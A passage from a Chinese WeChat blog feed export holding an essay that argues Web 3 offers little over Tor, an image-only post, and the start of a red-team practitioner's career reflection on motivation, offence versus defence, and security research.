<h1 style="text-align: start;white-space: normal;box-sizing: border-box;color: rgb(255, 255, 255);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">最近小黑屋有个大佬写了篇硬核安全技术文章。不过由于内容比较敏感，没敢发出来。 刚好小黑屋好久没更新了，就找了篇去年写的文章，滥竽充数。 内容嘛，主要还是针对 Web 3 的。先前没敢发，这不最近大家都抢着跟进 ChatGPT 的风口吗，这个时间节点喷喷 Web 3 应该反弹没那么大。</span></h1><p><span style="font-size: 14px;color: rgb(0, 0, 0);"><br/></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/><span style="font-size: 14px;color: rgb(0, 0, 0);"></span></p><h1 style="text-align: start;white-space: normal;box-sizing: border-box;color: rgb(255, 255, 255);font-family: sans-serif;"><strong><span style="color: rgb(0, 0, 0);font-size: 18px;">0x00 前言</span></strong></h1><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">最近 Web 3 概念炒的火热，即使不想关注，票圈里依旧有许多人在潜移默化地让你关注。上一次这么火爆的概念还是</span><code style="box-sizing: border-box;padding-right: 0.2em;padding-left: 0.2em;margin-right: 0.1em;margin-left: 0.1em;background-color: rgba(0, 0, 0, 0.13);display: inline-block;border-radius: 0.4em;vertical-align: text-bottom;"><span style="font-size: 14px;color: rgb(0, 0, 0);">元宇宙</span></code><span style="font-size: 14px;color: rgb(0, 0, 0);">。</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">鄙人不成熟的认知告诉我，一旦一个东西开始大火，火到连菜场大妈都知道的时候，那么这个东西往往没有太大的关注的价值了。毕竟有趣好玩的东西往往掌握在少数人手里。</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">为了验证我不成熟的认知，我决定花一个小时的时间好好研究一下 Web 3。</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);"><br/></span></p><h1 style="text-align: start;white-space: normal;box-sizing: border-box;color: rgb(255, 255, 255);font-family: sans-serif;"><strong><span style="color: rgb(0, 0, 0);font-size: 18px;">0x01 什么是 Web 3</span></strong></h1><blockquote style="text-align: start;white-space: normal;box-sizing: border-box;background-color: rgba(29, 31, 33, 0.4);padding: 0.1em 1em;margin: 0px 0.5em;font-size: 0.8em;border-left-width: 2px;border-left-color: rgba(175, 186, 196, 0.5);caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><p style="box-sizing: border-box;"><span style="font-size: 14px;color: rgb(0, 0, 0);">Web3（也被称为Web 3.0，又写为web3）是关于万维网发展的一个概念，主要与基于区块链的去中心化、加密货币以及非同质化代币有关。 – </span><span style="font-size: 14px;color: rgb(0, 0, 0);">Wikipedia</span></p></blockquote><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">看起来 Web 3 的定义十分美好，去中心化。然而我注意到，</span></p><blockquote style="text-align: start;white-space: normal;box-sizing: border-box;background-color: rgba(29, 31, 33, 0.4);padding: 0.1em 1em;margin: 0px 0.5em;font-size: 0.8em;border-left-width: 2px;border-left-color: rgba(175, 186, 196, 0.5);caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><p style="box-sizing: border-box;"><span style="font-size: 14px;color: rgb(0, 0, 0);">与区块链有关的web3概念是由以太坊联合创始人Gavin Wood于2014年提出 – </span><span style="font-size: 14px;color: rgb(0, 0, 0);">Wikipedia</span></p></blockquote><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">读到这一信息的时候，瞬间就将没了继续研究下去的动力。</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">几经纠结后，还是决定将 Web 3 关键的亮点看完。关于 Web 3 的关键优势，各个网站有略微不同的说法，比如 Wikipedia 上，认为 Web 3 的优势在于：</span></p><ol style="text-align: start;white-space: normal;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;" class="list-paddingleft-1"><li style="box-sizing: border-box;font-size: 14px;color: rgb(0, 0, 0);"><p><span style="font-size: 14px;color: rgb(0, 0, 0);">将互联网转化为数据库</span></p></li><li style="box-sizing: border-box;font-size: 14px;color: rgb(0, 0, 0);"><p><span style="font-size: 14px;color: rgb(0, 0, 0);">向人工智能进化的道路</span></p></li><li style="box-sizing: border-box;font-size: 14px;color: rgb(0, 0, 0);"><p><span style="font-size: 14px;color: rgb(0, 0, 0);">语义网和SOA的实现</span></p></li><li style="box-sizing: border-box;font-size: 14px;color: rgb(0, 0, 0);"><p><span style="font-size: 14px;color: rgb(0, 0, 0);">向3D进化</span></p></li><li style="box-sizing: border-box;font-size: 14px;color: rgb(0, 0, 0);"><p><span style="font-size: 14px;color: rgb(0, 0, 0);">等等</span></p></li></ol><p><br/></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">鄙人以为，除了第1点，其它优势纯属扯淡。毕竟除了第1点以外，其它优势 Web 2.0 也能实现。</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">至此， Web 3 的关键亮点可总结为 <strong style="box-sizing: border-box;">对等</strong> 与 <strong style="box-sizing: border-box;">去中心化</strong>，以及因此带来的自由（无监管）。</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">研究到这里，一些人可能已经发现了，</span><span style="font-size: 14px;color: rgb(0, 0, 0);">Tor</span><span style="font-size: 14px;color: rgb(0, 0, 0);">、</span><span style="font-size: 14px;color: rgb(0, 0, 0);">Freenet</span><span style="font-size: 14px;color: rgb(0, 0, 0);">、</span><span style="font-size: 14px;color: rgb(0, 0, 0);">I2P</span><span style="font-size: 14px;color: rgb(0, 0, 0);"> 等不都具备上述关键亮点吗？</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">要是硬是要说出点区别，也是有的：</span></p><ul style="text-align: start;white-space: normal;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;" class="list-paddingleft-1"><li style="box-sizing: border-box;font-size: 14px;color: rgb(0, 0, 0);"><p><span style="font-size: 14px;color: rgb(0, 0, 0);">Web 3</span></p></li><ul class="list-paddingleft-1" style="list-style-type: square;"><li style="box-sizing: border-box;font-size: 14px;color: rgb(0, 0, 0);"><p><span style="font-size: 14px;color: rgb(0, 0, 0);">基于区块链</span></p></li></ul><li style="box-sizing: border-box;font-size: 14px;color: rgb(0, 0, 0);"><p><span style="font-size: 14px;color: rgb(0, 0, 0);">Tor、Freenet、I2P</span></p></li><ul class="list-paddingleft-1" style="list-style-type: square;"><li style="box-sizing: border-box;font-size: 14px;color: rgb(0, 0, 0);"><p><span style="font-size: 14px;color: rgb(0, 0, 0);">比 Web 3 省资源 （毕竟不需要挖矿，也不需要大量存储区块数据）</span></p></li><li style="box-sizing: border-box;font-size: 14px;color: rgb(0, 0, 0);"><p><span style="font-size: 14px;color: rgb(0, 0, 0);">比 Web 3 多了匿名特性（也有人认为区块链也是匿名的，这里不争论，你认为是匿名的就是匿名的）</span></p></li></ul></ul><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">这么一比，Tor、Freenet、I2P 反倒比 Web 3 还好？</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);"><br/></span></p><h1 style="text-align: start;white-space: normal;box-sizing: border-box;color: rgb(255, 255, 255);font-family: sans-serif;"><strong><span style="color: rgb(0, 0, 0);font-size: 18px;">0x02 什么是 Tor</span></strong></h1><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">上文中提到 Tor、Freenet、I2P 也是去中心化、对等的网络体系。三者的实现思路大同小异，都是通过一些特殊设计实现匿名对等网络。本文挑选最广为人知的 Tor 作为介绍对象。</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">Tor 是上世纪 90 年代提出的对等、无监管网络。是的，20世纪90年代提出，而且在 2002 年发布测试版本，至今少说也有二十几年历史，然而没有流行起来。Web 3 反倒火起来了。</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">Tor 到底是如何工作？比较细节的工作原理可参考</span><span style="font-size: 14px;color: rgb(0, 0, 0);">官网</span><span style="font-size: 14px;color: rgb(0, 0, 0);">。 此处力求用最简短的语言让读者大概了解 Tor。</span></p><h4 style="text-align: start;white-space: normal;box-sizing: border-box;color: rgb(255, 255, 255);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">首先看普通用户如何匿名访问一个服务。</span></h4><p><picture style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"></picture></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6392156862745098" data-s="300,640" style="" data-type="png" data-w="510" src="https://wechat2rss.xlab.app/img-proxy/?k=c5953a96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5r3L9YiaerKfDdOib14RuViaQe3aibSibUYn2RHEiah7QJRQ6I1uIuyopf5M8oL0ticTFHOVDyzRicDYckpAkG88UnNrnQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">假设 Alice 是普通用户，希望访问另外一个用户 Bob 发布的服务，她会从 Tor 网络中随机挑选几个节点，然后通过这些随机节点建立一条隧道，连接到 Bob 发布的服务中。</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">这个过程中，由于这条隧道的节点数量是随机的，第 n 个节点只知道请求来自第 n-1 个节点，使得所有节点都不知道 Alice 的身份。此外，请求数据是使用 Bob 的公钥加密的，这些节点也不知道 Alice 请求了什么数据。</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">眼尖的朋友可能会问， Alice 的身份是保密了，那么 Bob 的身份不是暴露了吗？ 实际上 Bob 在发布服务的时候，也是随机挑选了几条路径发布的服务， 这里暴露的是 Bob 挑选出来的几条路径的入口，Bob 本身没有暴露。</span></p><h4 style="text-align: start;white-space: normal;box-sizing: border-box;color: rgb(255, 255, 255);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">其次再来看看 Tor 如何实现对等。</span></h4><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">在上面的例子中，提到三种角色，分别为 Alice、Bob 和 中继节点。 实际上，每个人都可以同时扮演这三种角色。默认情况下， Alice 同时也是别人的中继节点。 类似的， Alice 也可以对外发布服务。因此， Tor 网络中的节点是对等的。</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);"><br/></span></p><h1 style="text-align: start;white-space: normal;box-sizing: border-box;color: rgb(255, 255, 255);font-family: sans-serif;"><strong><span style="color: rgb(0, 0, 0);font-size: 18px;">0x03 去中心化网络有什么缺点</span></strong></h1><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">首先得明确一点，100% 去中心化的网络是不存在的。所有去中心化网络，在刚开始加入的时候，是需要一个类中心化的服务器帮忙查询其它节点的信息的，比如 Tor 中的目录服务器和 P2P 网络中的 Tracker 。 当然，一旦加入去中心化的网络成功，并成为这个网络中的一个节点，就可以真正实现去中心化了。</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">其次，所有去中心化网络，都会面临性能上的问题。在中心化的网络环境下，你访问一个服务，网络会使用最短路径去访问目标服务。这些中间路由节点往往带宽都比较高，速度也比较快。（当然，有墙的情况另说）。</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">然而在去中心化的网络环境下，情况就不一样了，用户本身就是节点，你还能指望用户这些节点的带宽能有多高？如果有匿名化需求，基本不会挑选最短路径建立链接。如果是访问静态资源还好，可以使用类似于 P2P 这种技术加速，但是动态服务的带宽严重受限于你路经的其它对等节点。</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">翻译一下就是，去中心化网络下，你看个 4K 电影还行（静态资源），但是开视频会议近几年就别想了（动态服务）。</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">最后，去中心化网络相当于没有监管，最终很有可能滋生犯罪。 Tor 就是一个最好的例子，地下市场比比皆是。</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);"><br/></span></p><h1 style="text-align: start;white-space: normal;box-sizing: border-box;color: rgb(255, 255, 255);font-family: sans-serif;"><strong><span style="color: rgb(0, 0, 0);font-size: 18px;">0x04 小结</span></strong></h1><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">研究了一圈，依旧没能明白 Web 3 为什么会大火。 Web 3 相比 Tor 基本没有优势，难道一旦和 区块链 挂上关系，就自带吸金体质？</span></p><p style="text-align: start;white-space: normal;box-sizing: border-box;caret-color: rgb(175, 186, 196);color: rgb(175, 186, 196);font-family: sans-serif;"><span style="font-size: 14px;color: rgb(0, 0, 0);">望高人指点一二。</span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483901">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0e1efe55&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247483901%26idx%3D1%26sn%3Dc4f7bd452f36d985976d47dc007ae562%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 02 Apr 2023 20:03:00 +0800</pubDate>
    </item>
    <item>
      <title>关于疫情，忍不住要说几句</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247483895&amp;idx=1&amp;sn=98b3a136987f39d91516c4dd001f11c6</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2022-11-26 00:02</span> <span style="display: inline-block;">新加坡</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=62c51c8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F5r3L9YiaerKfcVl7DZia3c4SNFRK3jv7wcJ5kFtk0Zh9zA8Mgqibf0Uibt6ABGlp2vSkBibgZPzVj2CnhjhlXkP6how%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section><section style="display: inline-block;"><img data-ratio="0.5521367788314819" data-w="1170" data-type="jpg" src="https://wechat2rss.xlab.app/img-proxy/?k=5c11c4f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5r3L9YiaerKfcVl7DZia3c4SNFRK3jv7wcO2WrjicNkDHDltckBYiaYIAOZiblbzZQTT2QBibUlgnd05IicNkCywwm9ZA%2F640%3Fwx_fmt%3Dpng"/></section>​</section><p><br/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="2247483895">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5ad3d755&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247483895%26idx%3D1%26sn%3D98b3a136987f39d91516c4dd001f11c6%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 26 Nov 2022 00:02:00 +0800</pubDate>
    </item>
    <item>
      <title>我的三年红队生涯总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247483891&amp;idx=1&amp;sn=39383729a6e8689ec9d696704827b730</link>
      <description>我的三年红队生涯总结在公司的某天有幸帮助公司的一级部门去给某学院的学生分享了一堂课，主要是关于自学安全的话题</description>
      <content:encoded><![CDATA[<p>
原创 <span>倾旋</span> <span>2022-09-20 00:04</span> <span style="display: inline-block;">浙江</span>
</p>

<p>我的三年红队生涯总结在公司的某天有幸帮助公司的一级部门去给某学院的学生分享了一堂课，主要是关于自学安全的话题</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f3ccaf97&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F5r3L9YiaerKdn0E9H0EjfpluN5fEASPQ4rNV9MHgPZjLjicmFECnUNneVibFASPQ3AicDMeQfSSbDjicQYHWZ0fywkw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-bottom: 24px;"><span style="color: rgb(51, 51, 51);letter-spacing: normal;text-decoration: none;font-size: 20px;">我的三年红队生涯总结</span></p><p style="margin-bottom: 24px;">在公司的某天有幸帮助公司的一级部门去给某学院的学生分享了一堂课，主要是关于自学安全的话题。开始的时候分享了我的一些学习经历，我发现总结不出来如何培养自己的自学能力，因为第一个大前提：我做的是我热爱的事情，在年龄很小的时候就找到了自己喜欢的事情，为此愿意花大量的时间去探索技术，不断的学习。从大部分普通应届生的角度来看找工作这件事，他们的选择往往很少，找到一个相对好的工作取决于自身在后天的积累是否能与社会某个职业的需要挂钩，但好像大多数学校的学生反馈的是专业知识都与职场应用有一定偏差，这就导致就业难，人生第一大门槛：“我该去往何方？”我对兴趣的理解是：“兴趣是人生不可或缺的调味剂，一定程度能够影响半生的幸福。”一个好的兴趣是针对事物抱有无尽求知欲的，并且具备隐性的持续性，在探索的过程中、过程后，一定是情绪高涨，快乐的。我很庆幸，在年纪很小的时候拥有了兴趣，在不断探索求知的过程中，我不断收获成就感，洗涤内心的卑微，使得一个少年变得逐渐强大。兴趣让我有了更多的选择，我的兴趣不只是安全领域，更深层次的总结可以说是对计算机网络相关的东西都感兴趣，它能使我化身成为程序员、网络工程师、产品经理、渗透测试人员等等。有许多次我都感慨，这是一个幸福的时代。<strong>以上摘自：我的博客文章-《这是一个充满挑战的好时代》</strong></p><p style="margin-bottom: 24px;"><span style="color: rgb(51, 51, 51);font-size: 17px;letter-spacing: normal;text-decoration: none;">接触网络安全行业已经有9年的时间，准确说计算机网络相关的技术是9年时间，起初在2013、2014年的时候并没有想过自己所学的技术或本领能发展成一个有体系的工作。在这个过程中，我的职业之路已经有5个年头，不论是在工作的时候或在上学的时候，都有经常做技术分享（文字、演讲）形式的输出，技术不断再提升、认知在不断扩展、学习的方法论在慢慢形成。随着时间的推移自己的年龄也在增长，对于兴趣这个词的认识也越来越深刻。我认为兴趣始终是一个自我驱动力的一个重要来源，从好奇某个技术到了解认识再到掌握，整个过程需要源源不断的坚持和自我激励。不知道是在哪一年，我在网上读到一句话我很喜欢，于是把它当作个性签名用到了现在，内容是这样：“执着于理想，纯粹于当下。”国内的红队职业人群最早大部分是从掌握渗透测试技术的人员转型的一个发展通道，红队对于这些人群去做红队来说既能保持自己对技术的兴趣还能时常通过自己的知识成果获得大量正反馈，让自己无限接近一个真正意义上的“黑客”。我想很多人都有一个黑客梦，这条路是一个甘愿承受寂寞，能十年磨一剑的理想之路。互联网人往往都是喜欢求变的，对比社会上所有的行业，我们这帮人走的捷径太多了、知道捷径的机会也太多了，所以更害怕自己走错路、走弯路。当自己使用技术解决了很多问题以后，这种思维惯性就越来越明显，网络安全行业经过这几年的迅速发展，我们都是获利者，总认为还有一个最优解自己还没有找到。近几年接触管理工作以后，经常遇到兴趣和工作不能两全的境地，而兴趣又好像变成了一个奢侈品，在长大的这几年，忽然发现时间和精力、现实生活都需要得到平衡，总在工作和生活中的需要与被需要之间平衡。在这种平衡之间，我愈发觉得兴趣不能消失，在这三年的阶段里我的兴趣和红队工作是一种双螺旋结构的相互依存且稳定的关系，自己对热爱的执着也不能放下，它都是我人生中宝贵的奢侈品，兴趣我可以坚持追求一辈子，即便是追求或享受兴趣的形式改变了依旧要坚持下去。</span></p><h2><span style="font-size: 20px;">红队是一个特殊的团队，做攻击和做防御到底哪个难？</span></h2><p style="margin-bottom: 24px;"><span style="font-size: 20px;"><br/></span></p><p style="margin-bottom: 24px;">我对于红队的认识概括：<strong>红队是一群道德黑客组成的团体，主要目的是为了仿真网络空间中的攻击者所使用的技术来发现组织的安全问题。</strong>我工作中接触的很多朋友、客户、同事对于红队都不太了解，或者说与我认识的红队有一些差异，这里我想通过我三年建设红队和做红队的角度进行一个诠释。</p><p style="margin-bottom: 24px;">为什么我说红队是一个特殊的团队，其实主要在于工作方式，而工作方式又受到环境因素的影响，宏观上近五年内由于行业对于网络安全人才的缺口激增、社会数字化转型加速，其实到今天红队体系建设还是在萌芽期，网络安全行业也是还在一个初步发展期。通过实战攻防演练的形式推动安全建设工作是起到了明显作用，这也意味着红队面临的挑战除了攻防演练的数量增加还有就是自身的能力要兼容不同安全建设水平的场景还要发挥明显作用。</p><p style="margin-bottom: 24px;">微观上在这个环境因素下导致很多红队会怀疑自己是否还能继续做红队，其次就是发现自己所掌握的知识点面对工作的需求宛如冰山一角，因为大多数人都适应不了这个节奏，于是有人开始退出红队战场转型做防御生态相关的工作。除了精神上的考验还有体力上的考验，红队也像互联网行业一样有中年危机，面对防御水平高的目标时经常会深夜打闪电战，钻研技术时也都喜欢熬夜写代码等等，是因为晚上夜深人静，内心归于平静，大脑活动活跃，创作冲动或创造能力更加敏锐，年龄大一些的身体上可能就吃不消了。</p><p style="margin-bottom: 24px;">还有性格方面，大多数红队性格都比较不善表达，大白话说就是容易一根筋，但这群人最难管理也最简单。之前在公司有人问我，你们红队到底谁技术最厉害？我回答：红队没有最厉害的，只有最适合的。没有哪个黑客可以达到全能，仅仅是能接近于全能，就像光速和“最快”还是有很大差距的，而这个差距是未知的，每个人都有擅长的领域，要看解决问题的场景而定。</p><p style="margin-bottom: 24px;">再说回做攻击和做防御到底哪个难，我是觉得做攻击和做防御都难，这句好像是一句废话文学。我没有在甲方工作过，这里就写一写我在乙方红队工作中对于这个问题的一些感受。在实战攻防演练中，这两年0day漏洞攻击和社工/钓鱼的手段使用的越来越多，一方面是因为客户的安全建设开始有投入，暴露面得到收拢，不容易发现进入内网的漏洞，另外一方面是很多时候客户的需求会限定一些攻击手段或者限定攻击的范围。这里我还是搬出我对红队的理解，红队主要目的是为了仿真网络空间中的攻击者所使用的技术来发现组织的安全问题，那么在这些限定的条件下（时间、范围、攻击手段），必然不能仿真全部技术，所以项目的结果无法达到客户的预期，红队也很难出成果。在限定条件下想要获得全面的结果是不现实的，这是一个认知冲突。其实生活中的矛盾也都像这个问题一样有互通性。这里也抛出一个问题来解释，为什么很多红队宁更愿意做内网渗透？因为现在很多甲方的终端和内网的安全建设水平做的还不如边界资产的安全，红队可以发现很多安全问题、仿真许多攻击技术，得到更多的正反馈。</p><h2><span style="font-size: 20px;">做红队的好处有哪些？</span></h2><p style="margin-bottom: 24px;"><br/></p><p style="margin-bottom: 24px;">做红队的好处其实有很多，由于环境因素，我仅是通过互联网了解国内的红队和国外的红队有一些差异，国外的红队可能更聚焦于企业安全视角的对抗，国内的红队既聚焦于实战演练又聚焦于企业红队。大量的红队选手既要进行攻防演练赛事的支撑，还要做企业红队，在我看来各有各的好处，攻防演练能将红队技术的运用更加发散，可以接触不同防御水平的场景，在发现安全问题的同时对红队的技术能力得到全面锻炼，而且还有监管单位背书。在做企业红队的时候节奏就不像攻防演练那样需要短时间内出成果，PK的火药味没有那么浓烈，反而遇到的有趣问题比较多。</p><p style="margin-bottom: 24px;">记得某次在客户现场做企业红队的时候，运用到了一个通过任务计划下发程序，弹出诱导用户输入明文凭据然后将凭据回传，而这个程序没有现成的，就临时写了一个MFC窗口。这种场景运用到的技术在需要快速出成果的监管部门举办的攻防演练中一般不会用到，主要是时间比较紧凑，红队人员精力有限，不会在一个目标上花费太多精力。</p><p style="margin-bottom: 24px;">总体来看，红队可以接触许多场景，能力可以发散成长，可以工作中找到自己感兴趣的方向。除了实战锻炼，红队还需要研究各种BYPASS技巧，使得技术手段可以绕过防御的检测和拦截，这对于掌握安全研究技能是一个很好的切入点。在2021年的总结我写道：“做安全研究工作非常需要知识的提炼能力，这一点至关重要，如今的计算机高速发展、硬件软件架构依赖性错综复杂，要解决问题需要在研究的过程中过滤很多的重点知识，比较考验计算机网络的基础知识，能做好基础知识的归纳总结，并且还能够做好布道者这一角色，尤为重要。大部分非科班出身且没有接受完整应试教育的人，都不会去搞枯燥的研究，宁愿做一个一直以经验增长为核心能力的人。说了那么多，其实我想表达的是要时刻对自己的工作有要求、有目标，对于团队的成员，我鼓励每一个人去做自我驱动的事情，热情也好、兴趣也好、爱好也好，这便是一种幸福。有时候我会思考做安全研究到底需不需要天赋，用什么标准衡量有天赋还是没天赋？研究这个问题前，我认为应该先给安全研究做一个鲜明的定义。首先，研究工作的成果影响力是巨大的，影响力又同样取决于研究问题的微观程度，这个微观程度的小指的是我们人类对研究对象认知的深度。例如宇宙的形成、万有引力、生物遗传等等，而计算机要解决的问题是如何更高效的计算，安全研究仅是从多个维度上（人、资产、流程）上发现安全问题、快速发现安全问题、解决安全问题、快速解决安全问题、根除安全问题。红队安全研究，大部分仅涉及发现安全问题、快速发现安全问题。因此，安全研究的定义随之而来，为了发现或解决安全问题而去做的研究工作。那么，搞安全研究真的需要天赋么？我觉得天赋其实不太重要，从人类基数上来看天才是永远占少数的，尽管很多人都想着自己能成为天才、或者他自己本身就是天才，我想我最大可能（100%）就是最平凡的大多数，这个问题就不那么重要了（逻辑鬼才）。“</p><p style="margin-bottom: 24px;">关于BYPASS的安全研究和漏洞挖掘工作都需要一个真实的环境，红队会使用很多虚拟化软件承载自己的实验平台，但无法直接模拟整个企业的防御环境进行对抗，尤其是网络流量的防御能力不能很好的模拟，所以大多数红队都会关注终端安全方向。在研究或者挖掘漏洞的过程中，红队会需要编程技能辅助自己进行自动化以提升效率，大部分红队都会掌握一门或多门短平快的脚本语言、编译型语言。这些杂项技能让红队看起来是全能型的，也会营造出一个全能黑客的假象。在红队工作中不断的解决问题，会让自己形成主动学习、主动研究的习惯，这种习惯是后天磨砺出来的，终身受用。</p><h2><span style="font-size: 20px;">红队的价值是什么？</span></h2><p style="margin-bottom: 24px;"><br/></p><p style="margin-bottom: 24px;">这里要展开说两方面，一方面是针对红队雇主内部的价值，一方面是客户的价值。</p><p style="margin-bottom: 